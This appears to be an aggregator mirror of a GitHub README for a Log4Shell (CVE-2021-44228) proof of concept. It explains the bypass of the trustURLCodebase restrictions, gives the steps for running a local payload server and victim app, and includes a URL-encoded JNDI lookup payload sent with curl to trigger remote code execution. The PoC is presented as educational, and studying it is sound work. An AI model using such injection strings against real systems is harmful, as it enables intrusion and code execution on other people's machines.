Giter Site home page Giter Site logo

0xcollab / log4j2-rce-poc Goto Github PK

View Code? Open in Web Editor NEW

This project forked from unlimitedsola/log4j2-rce-poc

0.0 0.0 0.0 63 KB

A bare minimum proof-of-concept for Log4j2 JNDI RCE vulnerability (CVE-2021-44228/Log4Shell).

Kotlin 69.21% Java 30.79%

log4j2-rce-poc's Introduction

Log4j2 RCE Vulnerability POC

A bare minimum proof-of-concept for Log4j2 JNDI Remote-Code-Execution vulnerability (CVE-2021-44228). This is intended for educational purposes to help people who are not security researchers to understand how it works and how large the impact is.

The POC bypasses the requirement for setting com.sun.jndi.rmi.object.trustURLCodebase and com.sun.jndi.cosnaming.object.trustURLCodebase properties to true which were disabled by default since 8u121, 7u131, 6u141 .

Prerequisites

  • JDK 1.8

Note: JDK 1.8 is required for payload-server to compile, but the victim-app is vulnerable up until JDK 15 because the Nashorn engine was removed in JDK 15.

To Test

  1. Start the payload-server by running:
$ ./gradlew runPayloadServer
  1. Open a new terminal session then start the victim-app:
$ ./gradlew runVictimApp
  1. Run curl http://localhost:8080/hello?name=%24%7Bjndi%3Armi%3A%2F%2F127.0.0.1%3A8099%2Fexec%7D to trigger the RCE.
  2. To proof the remote code has been executed, check the console log of victim-app. You should see an unintended log has been printed on the screen.

log4j2-rce-poc's People

Contributors

unlimitedsola avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.